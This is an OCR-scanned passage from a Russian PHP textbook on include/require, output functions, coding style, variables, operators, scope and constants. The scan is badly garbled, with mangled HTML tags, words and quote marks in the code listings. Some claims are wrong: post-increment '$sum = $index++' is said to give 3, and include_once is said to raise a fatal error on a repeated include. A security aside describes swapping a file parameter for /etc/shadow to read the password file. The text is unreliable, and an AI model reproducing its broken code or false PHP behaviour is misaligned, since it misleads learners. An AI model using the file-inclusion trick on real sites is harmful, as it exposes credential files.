ошибки (например, отсутствует подключаемый файл) выдают предупреждение и 

продолжают выполнение сценария. Функции require () /require _ once () выдают со
общение о критической ошибке, и дальнейшая работа прерывается. 

Различие между include () /require () И include _ once () /require _ once () состоит в том, 
что вторая пара функций гарантирует подключение указанного файла к текущему 
файлу только один раз. Иногда это бывает необходимо, чтобы дважды не подклю
чать файл с критически важным кодом, который должен быть только в единствен-
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нам экземпляре. К такому коду относятся РНР-функции или переменные (эту тему 
мы рассмотрим позднее), которые не должны быть объявлены дважды. Если в мо
мент подключения файла с помощью функций include _ once () или require _ once () 
обнаружится, что файл уже подключался, будет сгенерирована фатальная ошибка. 

Функцию include () удобно использовать для подключения частей документа -
т. е. файлов, содержащих НТМL-код. Например, раньше был распространен способ 
деления страницы на три части: заголовок (шапку), подвал и тело документа. Заго
ловок содержит верхюою часть страницы (логотип, меню и т. д.), которая неизмен
на для всех документов сайта. Подвал включает нижнюю неизменную часть (ин
формацию о владельце и другие сведения). Тело - это центральная часть, своя 
у каждой страницы. Таким образом, чтобы в каждом файле не создавать заголовок 
и подвал, их выносят в отдельный файл и только потом подключают к документу. 
Заголовок и подвал лучше подключать через функцию include (). Чаще в этих час
тях страницы находится просто НТМL-разметка, в отличие от центральной части, 
которая может генерироваться с помощью РНР и содержит код. 

Еще одна причина использовать отдельные файлы - делить логику программы. 
Хранить весь код даже среднего сайта в одном файле практически невозможно. 
Вместо этого лучше разнести код по разным· файлам и подключать их по мере на
добности. 

Разделять код таким образом можно, но только для небольших сайтов из несколь
ких страниц. Для средних и больших сайтов лучше использовать паттерн МVС, при 
котором код полностью отделяется от представления (НТМL). В этом случае, если 
по каким-либо причинам файлы заголовка (шапки) не будут найдены, сайт может 
выглядеть уродливо, но работать будет. Посетитель увидит главную часть - ин

формацию, ради которой пришел. 

Рассмотрим пример страницы, разбитой на три части. Файл заголовка (чаще всего 
такой файл называют header.php) может выглядеть так, как показано в листинге 2.3. 

1 �истинr 2.3. Фам 38rоnовка страницы 

<htrnl> 
<head> 
<title> Test page </title> 
</head> 
<body> 
<center><hl> Welcorne to rny horne page.</hl></center> 
<!-- here you can insert page rnenu, links --> 
<р> 

<а href="http://www.cydsoft.com/">дoмoй</a> 
<а href="http://www.flenov.info/">блoг</a> 
<а href="http://www.funniestforld.com">oтдыx</a> 
<а href="mailto:нeвaжнo@нeвaжнo.ru">contact us</a> 

</р> 
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Файл подвала (чаще всего его называют footer.php) может содержать следующую 

информацию: 

<hr> 
<p><center><i>copyright flenov mikhail</i></center></p> 

</body> 
<html> 

Теперь посмотрим, как может выглядеть код для страницы, подключающей заголо
вок и подвал (листинг 2.4). 

, ,,._: �

ключающеrо заголовок и подвал 

<?php include ( 'header . php') ; ?> 

<hЗ>Заголовок раздела</hЗ> 
<р>Я рад приветствовать вас на нашем тестовом 
сайте и этой мегапростой странице</р> 
<?php include('footer.php'); ?> 

Здесь представлен пример возможной главной страницы. Если нужна еще одна 
страница - например, О сайте, то создаем еще один РНР-файл, в нем подключаем 

уже существующий заголовок и подвал, и остается только написать центральную 
часть, которая уникальна для этой страницы. 

Как видите, нам не надо писать большое количество кода для заголовка и подвала. 
Достаточно лишь подключать их файлы и использовать в своих проектах. При этом 
упрощается не только создание файлов, но и их поддержка. Допустим, что ваш сайт 
состоит из 1 О файлов, и нуж1ю добавить на сайт новый пункт меню. При использо

вании статического НТМL придется изменить все 1 О файлов и загрузить их на сер
вер. В случае сайта из трех частей достаточно изменить только один файл заголов
ка, и весь сайт примет новый внешний вид. 

Обратите внимание, что все подключаемые файлы мы пишем на НТМL. По умол
чанию подключаемые файлы . воспринимаются как НТМL-код, а для того, чтобы 

использовать в них РНР-инструкции, необходимы теги <?php и?> . 

Если ваш файл должен содержать только РНР-код, то нужно в самом начале перей

ти в режим РНР с помощью <?php и в самом конце поставить ?> для выхода из ре
жима РНР. Следите за тем, чтобы ни до перехода в режим РНР, ни после выхода из 

этого режима не было пустых строк WlИ пробелов. Как мы уже знаем, все, что рас
полагается вне этих инструкций, воспринимается как НТМL-код, и лишний пробел 
или пустая строка могут быть восприняты браузером как элемент форматирования 
(бьmи такие проблемы, особенно до появления Intemet Explorer 7), и потом вьi дол
го будете искать, откуда взялось лишнее пустое пространство или пробел. 

Сразу рассмотрим проблемы безопасности, которые могут возникнуть при подклю
чении файлов. 
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Во-первых, желательно не давать подключаемым файлам расширение, отличное от 
php (или другого расширения, которое зарегистрировано на сервере в качестве ин
терпретируемого). Раньше было принято давать подключаемым файлам расшире
ние inc (от англ. include- присоединять). Это удобно, но небезопасно, если в файле 
находится код или переменные. Дело в том, что хакер может обратиться к файлу 
напрямую из браузера. Никто не запрещает хулигану написать в адресной строке 
URL вида: http: //ваш-сайт/hеаdеr. inc, и браузер вернет ему весь файл вместе 
с кодом. Злоумышленник может увидеть ваш код или параметры, и ему проще 
будет искать уязвимости. Особенно если среди параметров окажутся пароли. 

Чтобы избежать этого, давайте всем файлам расширение php. Если хакер попытает
ся обратиться к файлу из браузера напрямую: http://вaш-caйт/header.php, веб-сер
вер выполнит весь код, который находится в файле, и хакеру вернет результат, 
в котором не будет кода, а только бесполезная НТМL-разметка шапки. 

Допустим, что вы создали сайт, у которого страницы формируются на основе трех 
частей: шапки, тела и подвала. Для шапки и подвала необходимо по одному файлу, 
а для основной части сайта в отдельном каталоге хранится множество файлов. 
Какой из этих файлов отображать - зависит от текущего выбора посетителя. Вы, 
наверное, уже видели сайты в Интернете, в которых URL-aдpec выглядит следую
щим образом: 

http://www.sitename.com/index.php ?file=main.html 

Все, что находится после вопросительного знака, - это параметры. В приведен
ном адресе в качестве параметра передается файл main.html, и, возможно, именно 
его сайт будет отображать для этого URL в основной части страницы. А если хакер 
сможет изменить этот параметр на /etc/shadow? Тогда на странице, в основной ее 
части, злоумышленник увидит файл паролей всех посетителей системы ( если сер
вер работает под управлением UNIХ-подобной системы). Хотя пароли и зашиф
рованы, это все равно очень опасно. В разд. 3. 4.1 мы обсудим сайт, который не 
производил необходимых проверок, и мне удалось просмотреть системные файлы 
благодаря подобной ошибке с подключением include. 

Еще один пример уязвимости, который я хочу сейчас рассмотреть, - проверка 

безопасности входных данных. Мы будем много говорить о том, что входным па
раметрам доверять нельзя и их нужно фильтровать. Часто возникают ошибки из-за 
того, что программист написал проверку входных данных только в одном сцена
рии. Проверив параметры в header.php, он надеется, что они будут такими же и 
в основной странице index.php, и в подвале. Если хакер обратится к index.php, то этот 
файл подключит файл заголовка, и проверка произойдет. Злоумышленник может 
обратиться напрямую к файлу заголовка, и снова проверка произойдет. 

Но не всегда случается такое чудо. Что произойдет, если в строке URL обратиться 
напрямую к footer.php? Этот файл не подключает header.php, и в нем нет своей про
верки. Если программист не позаботится о безопасности данных, то сайт может 
быть взломан. Это только кажется, что в файл подвала редко. помещают код, тем 
более принимающий параметр от посетителя. Параметры от URL, действительно, 
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редко обрабатываются, но в файле подвала очень часто находится статистический 
код, журнал, информация, зависящая от окружения, и многое другое. 

Будьте внимательны: при создании каждого файла нужно учитывать, что любые 
данные, полученные извне, могут быть небезопасны. 

Мы будем говорить о фильтрации и о том, что нужно проверять данные, получае
мые от посетителя, но в случае с операцией include посетитель никогда не должен 
иметь возможности изменить имя подключаемого файла: 

<?php include('footer.php'); ?> 

Здесь посетитель не может ни на что повлиять, потому что мы подключаем кон
кретный файл. Если вы попытаетесь реализовать логику, которая будет получать 
что-то от посетителя и передавать это в функцию, то вот тут уже появится риск 
столкнуться с проблемами. 

Я надеюсь, мне удалось сразу же погрузиться с первых страниц в безопасность. 
Если что-то непонятно, то дальше все должно встать на свои места, потому что 
сейчас мы сделаем шаг назад и начнем знакомиться с основами РНР. 

2. З. Вывод данных

Для вывода информации на экран или в окно браузера есть две популярные функ
ции: echo () и print () . С одной из них - print () - мы уже немного познакоми
лись, теперь рассмотрим другую. 

Существуют два варианта вызова функции echo ( ) : 

echo("Heilo, this is а text"); 

echo "Hello, this is а text"; 

В первом случае выводимая строка указывается в скобках, а во втором случае -
через пробел. Оба вызова эквивалентны, и вы можете использовать тот, который 
вам больше подходит. 

Функция print () отличается тем, что может возвращать значение, указывающее на 
успешность выполнения задачи. Если функция вернула l, значит, вывод прошел 
удачно, иначе функция вернет О. 

Строки при выводе можно обрамлять одинарными или двойными кавычками. 
Результат будет не одинаков, поэтому нужно четко понимать разницу. Если текст 
обрамлен одинарными кавычками, то он выводится как есть. Если использовались 
двойные кавычки, то строка сканируется на наличие переменных. Если внутри 
строки найдено имя переменной, то будет выведено значение, а не переменная. На
пример: 

$var = 10; 

print ('Переменная $var=' . $var) ; 

echo '<br/>'; 

print ( "Переменная $var=". $var) ; 

?> 
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Здесь я дважды пытаюсь вывести значение переменной $var. Первый вызов функ
ции print () выведет на экран текст: Переменная $var=l0. Несмотря на то что 
внутри строки находится имя переменной, в результате мы видим именно его 
($var), а не значение. Обратите внимание, как к строке добавляется значение пере
менной - при помощи точки, а не символа сложения. Конкатенация. (соединение) 

строк в РНР происходит с помощью точки. Если нужно объединить строки 11Hello"

и "World" в одну, то это можно сделать так: 

11Hello11 • 11 11 • 11World" 

Здесь объединяются аж три строки, чтобы получилось одно целое - два слова 
и пробел между ними. 

Вернемся к примеру с функцией print () . При втором вызове этой функции мы 
увидим на экране: Переменная 10=10. На этот раз программа просканировала 
строку в двойных кавычках и заменила имя переменной ее значением. 

Лично я тесты производительности этих двух вариантов не проводил, а в Интерне
те находил на этот счет разные точки зрения. Кто-то говорит, будто при частой ра
боте со строками двойные кавычки влияют на производительность, другие утвер
ждают, что нет. Я думаю, что сканирование строки в поисках переменных должно 
влиять на скорость работы кода - ведь просто вывести строку без сканирования 
проще. Впрочем, падение производительности может быть не таким уж и значи
тельным, если разработчики РНР хорошо оптимизировали код. 

Если вам нужно вывести в строке, обрамленной двойными кавычками, имя пере
менной, а не значение, то перед символом доллара нужно поставить слеш: 

рrint("Переменная \$var=$var11

); 

В этом случае результатом снова будет Переменная $var=10. Однако если в строке 
окажутся другие переменные без предваряющего слеша, то будут выведены только 
их значения. 

2. 4. ТТ равила кодирования

Если вы программировали на каких-нибудь языках высокого уровня (С++, С#, 
Java), то уже знаете, что все переменные должны иметь строго определенный тип, а 
код должен быть оформлен в достаточно жестких рамках. Язык РНР более демо
кратичен и не так сильно ограничивает вас, но это влечет за собой и большую веро
ятность возникновения ошибки во время выполнения сценария, и в чем-то даже 
приводит к необходимости затрачивать дополнительные усилия на безопасность. 

Допустим, программист подразумевает, что через какой-то параметр будет переда
ваться число, но хакер передал строку, содержащую запрос к базе данных. Если бы 
переменная имела четкий тип, то злоумышленник получил бы ошибку, потому что 
нельзя преобразовать строку в число. А из�за отсутствия типизации программист 
должен самостоятельно проверять тип передаваемых данных и пресекать любые 
неверные ходы. 
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Если вы знаете язык программирования С, Java или Perl, то многое вам уже знако
мо, потому что РНР очень похож на на них. 

В этом разделе мы будем говорить об основных правилах оформления кода, в том 
числе и о переменных. 

2. 4 .1 . Комментарии

Оформление комментариев в РНР схоже со стилем их оформления в языках про
граммирования С/С++ или Java, что лишний раз указывает на родственность этих 
языков. Что такое комментарий? Это информация, которая не влияет на выполне
ние кода программы. Например, вы хотите вставить в код пояснение, которое будет 
находиться прямо в коде и не станет выводиться в окно браузера или выполняться 
интерпретатором РНР. Такое пояснение как раз и можно оформить в виде коммен
тария. 

С помощью комментариев я постараюсь давать вам как можно больше пояснений 
на протяжении всей книги. Так вам будет проще воспринимать рассматриваемый 
код. 

Комментарии бывают однострочными и многострочными. Однострочный коммен
тарий начинается с двух слешей // (заимствовано из С++) или решетки# (заимст
вовано из конфигурационных файлов Linux), и все, что находится в той же строке 
после этих символов, будет восприниматься как комментарий. Например: 

<?php 

# Это комментарий 

// И это комментарий 

print("кoд РНР"); // Это тоже комментарий 

?> 

Как показано здесь в четвертой строке, комментарий может занимать не_ всю стро
ку, а идти сразу после РНР-команды. Так вы можете вставлять пояснения для от
дельных строк. 

Комментарии могут быть и многострочными - например, текст, описывающий 
возможности модуля или содержащий какую-то вспомогательную информацию. 
Такой комментарий начинается с символов /* и заканчивается символами * /. Он 
будет выглядеть следующим образом: 

<?php 

КОД 

/* Это комментарий 

Это тоже комментарий 

И это комментарий 

*/ А это уже не комментарий, здесь может быть только код 

КОД 

?> 

Хочу обратить ваше внимание на тот факт, что все это можно писать только в ре
жиме РНР. Если написать такой комментарий в НТМL, то он будет выведен в окно 
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браузера, потому что в режиме HTML действуют совершенно другие правила 
оформления комментариев. 

Кстати, комментарии в НТМL лучше вообще не писать, потому что они будут 
передаваться между сервером и клиентом, что займет лишний трафик, ресурсы 
оборудования, а самое главное, они будут видны любому, кто просмотрит исход
ник. А лишняя информация в виде комментариев иногда может представлять что
то ценное для хакера. 

Стоит ли использовать комментарии в реальных проектах? Раньше правилом хо
рошего тона было комментировать программы. Сейчас рекомендуется писать код 
так, чтобы он был понятен без дополнительных подсказок, - нам же, когда мы чи
таем книги, не нужны подсказки. Так что на этот вопрос существуют два разных 
ответа. 

Я использую комментарии в реальных проектах, но немного и только там, где они 
действительно могут помочь. А иногда просто для визуального разделения кода 
или оформления. 

2. 4. 2. Чувствительность

Язык РНР не чувствителен к пробелам, переводам строки или знакам табуляции. 
Это значит, что вы можете разделять одну команду на несколько строк или отде
лять переменные, значения или операторы различным количеством пробелов. На
пример: 

<?php 

$index = 10; 

$index 10 + 20; 

$index=l0+10; 

$index= 

10 

+ 

10; 

?> 

С точки зрения РНР весь этот код корректен и будет правильно интерпретирован. 

Каждая команда в РНР должна заканчиваться точкой с запятой (; )- интерпрета
тор так воспринимает отделение одной команды от другой. Не забывайте ставить 
этот знак, потому что из-за его отсутствия могут возникнуть совершенно непред
сказуемые ошибки, по которым трудно определить, что отсутствует именно разде
литель команд. 

Благодаря разделителю одну команду можно записывать в несколько строк или 
несколько команд в одну строку. Интерпретатор по разделителю сможет найти 
начало и конец команды. 

Язык РНР чувствителен к регистру символов. Это значит, что имена переменных, 
написанные в нижнем регистре и в верхнем, будут восприниматься как разные. На-
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чинающие программисты допускают из-за этого множество ошибок. Рассмотрим 
пример: 

<?php 

$index = 10; 

$Index = 20; 

print($index); 

print ($Index); 

?> 

В результате мы увидим сначала число 1 О, а потом 20, потому что переменные 
$index и $Index будут восприниматься как разные из-за различия в регистре первой 
буквы. Если бы РНР был не чувствительным к регистру, то обе переменные указы
вали бы на одну и ту же ячейку памяти. В этом случае в первой строке кода мы 
записали бы в эту ячейку памяти число 1 О, во второй в нее же - 20, а потом дваж
ды напечатали бы значение одной и той же ячейки памяти. Слишком много «бы» ... 

Итак, будьте внимательны при использовании имен переменных. Следующий код 
даст не тот результат, который вы ожидали: 

<?php 

$index = 10; 

print ($Index); 

?> 

Здесь мы переменной $index присваиваем значение 10, а выводим и печатаем пере
менную $Index. Из-за того, что эти переменные разные, на экран будет выведена 
$Index, которой не было присвоено значение, а значит, в результате мы получим 
вывод на экран пустой ячейки памяти, и пользователь ничего не увидит. 

Чтобы у вас было меньше ошибок в программах, пишите все имена переменных 
в одном регистре. Я рекомендую использовать нижний регистр для всех букв. В этом 
случае вероятность неправильного толкования кода сводится к минимуму. 

Но это относится только к переменным. Операторы языка РНР могут быть написа
ны в любом регистре. Например, есть оператор условного перехода: 

if (условие) действиеl else действие2 

который проверяет условие, и если оно верно, то выполняется действиеl, иначе 
выполняется действие2. Итак, посмотрим на следующий код: 

<?php 

$index=l; 

if ($index==l) 

print ( 'true'); 

else 

print ( 'false') ; 

?> 

Здесь все операторы написаны в нижнем регистре, но никто не мешает написать их 
в верхнем регистре или даже вперемешку: 
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<?php 
$index=l; 
If ( $index==l} 
print ( 'true'}; 

ElsE 
print ( 'false' } ; 

?> 

Глава 2 

В этом примере ключевые слова if и else содержат буквы в разных регистрах, но 
это не является ошибкой. Однако я рекомендую все-таки писать ключевые слова 
в нижнем регистре, потому что в будуrnих версиях языка может появиться чувстви
тельность к регистру команд, и тогда придется потратить много времени на ис
правление ошибок. Хотя я не особо верю в такое развитие событий, писать все 
в нижнем регистре лучше хотя бы потому, что такой код выглядит красиво. А кра
сивый код приятнее читать, и с ним удобнее работать. 

2. 4. З. ТТ еременные

Мы уже немного говорили о переменных и знаем, что переменная - это область 
памяти, в которой можно хранить какие-то значения и обращаться к этой памяти по 
имени. Нам неважно, где будут храниться переменные, потому что их значения 
всегда можно получить или изменить, используя имена. Переменные в РНР обла
дают следующими свойствами: 

□ все имена переменных должны начинаться со знака доллара ( $) - по такому
знаку интерпретатор определяет, что это переменная;

□ если вы работали с такими языками программирования, как С# или Java, то
знаете, что переменные должны быть сначала объявлены, а потом уже могут ис
пользоваться. В РНР объявление переменных не является обязательным. Пере
менная начинает существовать с момента присвоения ей значения или с момента
первого использования. Если использование начинается раньше присвоения, то
переменная будет содержать значение по умолчанию (в зависимости от исполь
зования переменной это будет нулевое значение или пустая строка);

□ переменной не назначается определенный тип. Тип переменной определяется
хранящимся в ней значением и текущей операцией.

Итак, имя переменной начинается со знака $, пocJJe которого должны идти любые 
латинские буквы, цифры или знак подчеркивания. Но первым символом после зна
ка $ обязательно должна быть буква. Старайтесь давать переменным имена, кото
рые будут отражать смысл содержащегося в них значения. Если все переменные 
называть как $paraml, $param2, $param3 и т. д, то по истечении некоторого времени 
вы не сможете вспомнить, для чего вы объявляли переменную с именем $param2, 
что она должна хранить и как использоваться. 

Так что при именовании переменной обязательно используйте смысловую нагруз
ку. Например, если вам нужно сохранить где-то сумму каких-либо чисел, то заве
дите для этого переменную $sщn, хотя желательно даже чтобы в ее имени было ска-
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зано, сумма чего в ней хранится. Если вам нужен счетчик (мы будем рассматривать 

их при обсуждении циклов), то хорошим вариантом является имя $i. Это общепри

нятое имя при работе со счетчиками. 

Для записи значения в переменную служит знак равенства ( = ). Слева указывается 
имя переменной, а справа - значение, которое необходимо в нее записать: 

$имя переменной = значение; 

В РНР есть три основных типа переменных: числовой, строковый и логический. 
С первыми двумя все понятно. Если это число, то переменная содержит числовое 
значение, и мы уже использовали такие переменные. При объявлении строк значе

ние заключается в двойные или одинарные кавычки: 

$str 'Это строка'; 

$str = "Это строка"; 

Строковые переменные можно разбивать на несколько строк, если вы не хотите, 
чтобы в окне редактора строка была слишком длинной. Это делается следующим 

образом: 

$str = "This is а string. 

РНР is а next generation of WEB programming. 

You will like this"; 

Как видите, разделение происходит достаточно просто. Не нужно никаких допол

нительных усилий - просто переносите все на новую строку. Интерпретатор РНР 
сам определит начало и конец строки по кавычкам, отделяющим строку. При этом 
все пробелы и символы перевода строки, которые мы не видим, также станут 
частью строки. 

А что такое логический тип? Такая переменная может содержать значение true,

т. е. истина (любое значение, большее нуля), или false, т. е. ложь (значение, рав

ное нулю). В явном виде такие переменные не используются, но этот тип необхо
дим для понимания логических операций. Например, мы уже рассматривали опера

цию if ... else, которая проверяет какое-либо условие. Эта проверка как раз и 

возвращает логическое значение true или false. Если утверждение верно, то ре
зультатом будет истина, иначе - ложь. 

Если какая-то переменная используется раньше, чем ей присвоено значение, то ей 
будет присвоено значение по умолчанию. Как же определить значение по умолча
нию, если неизвестен тип? Тип можно присвоить и по контексту кода. Например, 
если над переменной выполняется математическая операция, которая подразумева
ет использование числа, то переменная вернет О. Если это строковая операция, то 

результатом будет пустая строка. 

Как узнать, присвоено ли значение переменной, если она всегда возвращает хотя 

бы пустоту или О? Для этого есть функция isset (имя переменной). Этой функции 
нужно передать в качестве параметра в скобках имя переменной, и если она содер

жит значение, то результатом будет true, иначе - false. Рассмотрим пример, 
представленный в листинге 2.5. 
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<?php 

if (isset($index)) 

рrint('Переменная установлена'); 

else 

рrint('Переменная не установлена'); 

$index = 1; 

if (isset($index)) 

рrint('Переменная установлена'); 

else 

рrint('Переменная не установлена'); // Переменная не установлена 

?> 

Глава 2 

В приведенном здесь коде используется логика (оператор if), которую я еще не 
объяснял. Если у вас возникли проблемы с чтением этого кода, то оставьте на этой 
странице закладку и вернитесь к ней после прочтения разд. 2. 5.

После первой проверки мы увидим, что переменная $index не установлена. Затем 
в переменную записывается значение. Вторая проверка покажет, что переменная 
уже установлена. 

Так как у переменных нет определенного типа, мы можем присваивать им что 
угодно, а система уже сама разберется, что записывать: 

$index = 1; 

$fl = 3.14; 

$str = 'Это строка'; 

// Число 

// Вещественное число 

// Строка 

Как уже было сказано-ранее, тип переменной определяется по контексту, в котором 
она находится. Например: 

$s tr = '10'; 

$index = 2 * $str; 

На первый взгляд, эта операция невозможна. В первой строке у нас создается пере
менная $str, которая будет хранить строку '10'. Во второй строке число 2 умножа
ется на строку из переменной $str. Вообще-то нельзя умножать число на строку, 
и это верно для большинства языков программирования. Но ведь перед нами РНР! 
Интерпретатор РНР попробует превратить $str в число, и у него это получится. 
В результате в переменной $index будет содержаться значение 20. 

Если в каком-либо контексте содержимое переменной не может быть прочитано, 
то будет использоваться нулевое значение. Например: 

$str = 'rl0'; 

$index = 2 * $str; 

print("Result is $index"); 

В этом случае в переменной $str находится строка, которая не может быть переве
дена в число, т. к. этому мешает буква r. При умножении числа 2 на такую пере-
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менную преобразование окажется невозможно, и число 2 будет умножено на О. 
В результате мы получим нулевое значение. 

При этом может быть отображено предупреждение: 

РНР Warning: А non-numeric value encountered

(РНР Предупреждение: Замечено нечисловое значение) 

Я сказал «может», потому что предупреждения могут быть и скрыты. 

А что произойдет, если написать следующий код? 

print(З*"hello"+2+true); 

Попытаемся предсказать, какой получится результат. Сразу сообразить сложно, 

поэтому давайте рассуждать, как эту операцию будет обрабатывать РНР. Сначала 
выполняется умножение числа 3 на строку. Если строку нельзя преобразовать 

в число, то вместо строки будет использоваться О. Число 3, умноженное на О, дает 

в результате О. Затем к нулю прибавляется 2. Результат будет равен 2. А теперь к 2 

нужно прибавить булево значение true (истина). Вспомним, что такое истина и 
ложь? Ложь - это ноль, а истина - это единица или любое большее число. Ин

терпретатор РНР воспримет true как единицу и прибавит к числу 2 (которое мы 
получили ранее) число 1. Общий результат 3. 

Попробуйте проверить это на своем компьютере. Возможно вы снова увидете пре

дупреждение, но это только предупреждение, а не ошибка. 

Такое автоматическое преобразование позволяет избавиться от лишних проблем, 

но усложняет отладку. Вы легко можете допустить .ошибку с преобразованием, а 
найти ее будет сложно. 

2. 4. 4. Основные операции

Переменные создаются для того, чтобы над ними производить какие-либо опера

ции. Пока мы познакомимся только с простыми математическими операциями: 

□ сложение: +· 
'

□ вычитание:
' 

□ умножение: *'
'

□ деление: /.

Как и принято в математике, есть определенные правила последовательности вы

полнения операций (приоритет). Сначала выполняются умножение и деление, а по

том уже сложение и вычитание. Рассмотрим классический пример, который часто 
задают младшим школьникам: 

$index = 2 + 2 * 2; 

Не задумываясь, они ответят: 8. Если выполнять этот код слева направо, то резуль

татом, действительно, будет 8. Но это только в головах третьеклассников, которые 

раньше говорят, чем думают. Если считать по правилам математики и РНР, то 
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результат будет 6, потому что сначала нужно перемножить двойки (результат 4 ), 
а потом прибавить 2. Законы математики действуют и в. программировании. 

При необходимости изменить последовательность выполнения команд нужно 
использовать скобки, которые имеют больший приоритет. В этом случае интерпре
татор РНР сначала выполнит все, что находится в скобках, а потом уже то, что за 
их пределами: 

$index = (2 + 2) * 2; 

Вот в этом случае результат будет равен 8. 

В скобках действуют те же правила, что и вне скобок. Рассмотрим пример: 

$index = (2 + 2 * 2) * 3; 

Сначала интерпретатор РНР рассчитает значение в скобках, и результатом будет 6, 
потому что даже здесь сначала выполняется умножение. После этого число 6 будет 
умножено на 3. 

В языке РНР есть еще сокращенные варианты увеличения или уменьшения значе
ния переменной на 1, которые могут сильно упростить код и сделать его более эле

гантным. Для прибавления единицы нужно написать: $имя++, а для вычитания

$имн--. Например: 

$index = 2; 

$sum = $index++; 

В переменной $sum окажется число 3 (число 2 из переменной $index, увеличенное 
на 1). 

Я стараюсь везде использовать такой вариант увеличения значений переменных, 
и вы со временем привыкнете к нему. Чаще всего подобные операции встречаются 
в циклах (их мы будем рассматривать далее). 

Я уже говорил (см. разд. 2.3), что для объединения (конкатенации) строк исполь
зуется символ точки (.) вместо плюса, выполняющего эту функцию во многих язы
ках программирования высокого уровня. Например: 

$strl "Это тестовая "; 

$str2 "строка"; 

$str3 $strl.$str2; 

Здесь создаются две переменные: $strl и $str2, а в переменную $str3 записывается 

результат их объединения, т. е. в ней мы увидим: "Это тестовая строка". 

2. 4. 5. Область видимости

Все переменные и функции имеют область видимости, т. е. участки кода, где их 
значение доступно. За пределами области видимости переменные автоматически 
уничтожаются или просто недоступны (невидимы). Поэтому за пределами области 
видимости переменной вы можете создать переменную с тем же именем, но это 
будут разные участки памяти, к тому же независимые друг от друга. 
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Все переменные в языке РНР являются глобальными, если они не объявлены внутри 
какой-нибудь функции. Это значит, что если переменную объявить в самом начале 
файла, то она будет существовать на протяжении обработки всего файла, и ее мож
но будет использовать в любом месте. В этом случае область видимости - теку
щий файл, и переменная уничтожится при выходе из него. 

Как мы заметили ранее, когда изучали множественное переключение между режи
мами НТМL и РНР (см.разд. 2. 1), переменные могут быть объявлены в одном РНР
коде, а использоваться в другом (листинг 2.6). 

<html> 
<head> 

<title> Vision </title> 
</head> 
<body> 

<р> Hello 
<р> <?php $i =1; print("this is php");?> 
<р> i = <?php print($i) ?> 

</body> 
<html> 

В этом примере переменной присваивается значение при первом вхождении в ре
жим РНР, а используется эта переменная во втором. Это вполне нормальная ситуа
ция - переменная останется действительной и во время использования будет 
содержать значение 1 . 

Если у вас есть два файла: index.pnp и download.php, а переменнw $index объявлена 
в файле index.php, то при переходе во второй файл эта переменная станет невиди
мой, и ее значение окажется недоступно. Если попытаться обратиться к перемен

ной $index из файла download.php, то ее зн:>,чение будет пустым, потому что это уже 

другой участок памяти. В файле download.php вы можете использовать имя $index 
для переменной и изменять ее значение, но значение одноименной переменной из 
файла index.php никак не изменится. 

Сохранить значение переменной при переходе от файла к файлу можно различны
ми способами, которые будут рассматриваться в дальнейшем: 

□ использовать методы GET и POST для передачи параметров между страницами;

□ использовать сессии РНР;

□ сохранять данные в файлах cookies, которые хранятся на компьютерах посетите
лей;

□ сохранять значения в серверной базе данных или в другом хранилище на серве
. ре - например, в текстовом файле.

Какой способ выбрать? Это зависит от ситуации и личных предпочтений. Но выбор 
вы сможете сделать, когда познакомитесь с этими технологиями. 
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Функции мы еще не рассматривали, но некоторые замечания необходимо сделать 
уже сейчас. Все переменные, которые объявлены в теле функции, видны только 
внутри нее и являются локальными. За пределами функции значение переменной 
уничтожается, если она не объявлена специальным образом. Внутри функции вы 
можете увидеть ее локальные переменные (но не локальные переменные других 
функций) и глобальные переменные. 

2. 4. 6. Константы

Константы - это особые переменные, которые нельзя изменять программным 
путем. Значение константы устанавливается только при ее объявлении и действует 
на протяжении всего времени ее жизни. Так что во время работы сценария присво
ить константе иное значение нельзя. 

Константы хранят значения каких-либо часто используемых чисел или строк. На
пример, ваш сайт может быть запрограммирован под дизайн страницы шириной 
640 пикселов. Если в РНР-код� использовать число 640, то при переходе на новый 
дизайн - с шириной, например, 800 пикселов - придется изменять много строк 
кода, и нет гарантии, что вы ничего не упустите или не затрете случайно число 640, 
которое указывает не ширину, а что-либо другое. Но если в начале файла объявить 
константу со значением 640, а потом использовать именно ее, то достаточно будет 
изменить только значение константы, и код корректно воспримет это изменение. 

Я рекомендую всегда применять константы или хотя бы переменные, если какое-то 
число или строка используется в коде больше одного раза. Например, если нужно 
обратиться к числу 1t, то не стоит писать непосредственно з .14. Создайте константу 
и обращайтесь к ней. А вдруг мир перевернется и число 1t превратится в 5. 7 2? 
(Шутка.) На самом деле, до :гакой степени мир, скорее всего, не перевернется, но 
все же использование констант делает код еще и красивее. Вы не просто умножаете 
или делите на число, вы используете именно 1t. 

Я очень часто создаю константы, даже когда использую число или строку всего 
один раз. Мне просто кажется, что это удобно. 

Для хранения таких констант или переменных можно создать даже отдельный 
файл, который будет подключаться ко всем РНР-файлам вашего сайта. По своему 
опыту могу сказать, что использование констант может заметно упростить сопро
вождение вашей программы и внесение изменений. 

Если все текстовые сообщения будут храниться в отдельном файле в виде перемен
ных, то таким образом вы сможете сэкономить время и упростить локализацию 
программы на другие языки. Например, один файл с константами может быть 
предназначен для русскоязычной программы, а другой - для англоязычной. Из
менение языка можно производить подменой файла или с помощью подключения 
одного из них в зависимости от выбора посетителя. 

В именах констант, в отличие от имен переменных, не надо вначале ставить символ$. 
Чтобы сразу было видно, что это константы, их имена пишут большими буквами. 
Рассмотрим, как можно создать собственную константу. Для этого используется 
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функция define (), которой нужно передать в качестве первого параметра имя кон
станты, а в качестве второго - ее значение. Например, вам нужно создать констан
ту, которая будет равна значению 1t. Для этого напишите следующий код: 

define('PI', 3.14); 
$index = 10 * PI; 
print ($index); 

В этом примере у нас объявлена новая константа PI, которая равна числу 3,14. Во 
второй строке значение константы умножается на 1 О и заносится в переменную 
$index. В последней строке значение переменной выводится на экран. 

Как мы уже знаем, изменять значение константь1 нельзя, поэтому следующая 
запись будет неверной и вызовет сообщение об ошибке: 

define('PI', 3.14); 
PI = 10 * 3.14; 

2.5. Управление выполнением программы 

Код программы не может быть прямолинейным, потому что всегда есть какие-то 
условия, от которых может зависеть ход ее выполнения. Очень часто нам надо про
верять такие условия и реагировать соответствующим образом. Допустим, что вы 
пишете сценарий главной страницы сайта. Когда посетитель заходит на сайт пер
вый раз, вы, чтобы заинтересовать его, можете показать ему дополнительную ин
формацию или красивую презентацию. При последующем входе эту презентацию 
можно отключить. Но как это может выглядеть в коде сценария? Логика будет 
примерно следующей: 

□ если посетитель вошел в первый раз, то показать презентацию;

□ иначе сразу показать главную страницу.

Для того чтобы сценарий был надежным и безопасным, нам необходимо выполнить 
множество проверок. Если ваш сценарий должен отправлять почтовое сообщение, 
то неплохо было бы перед отправкой проверять правильность заполнения адреса 
e-ma1l.

Логика проверки будет следующей:

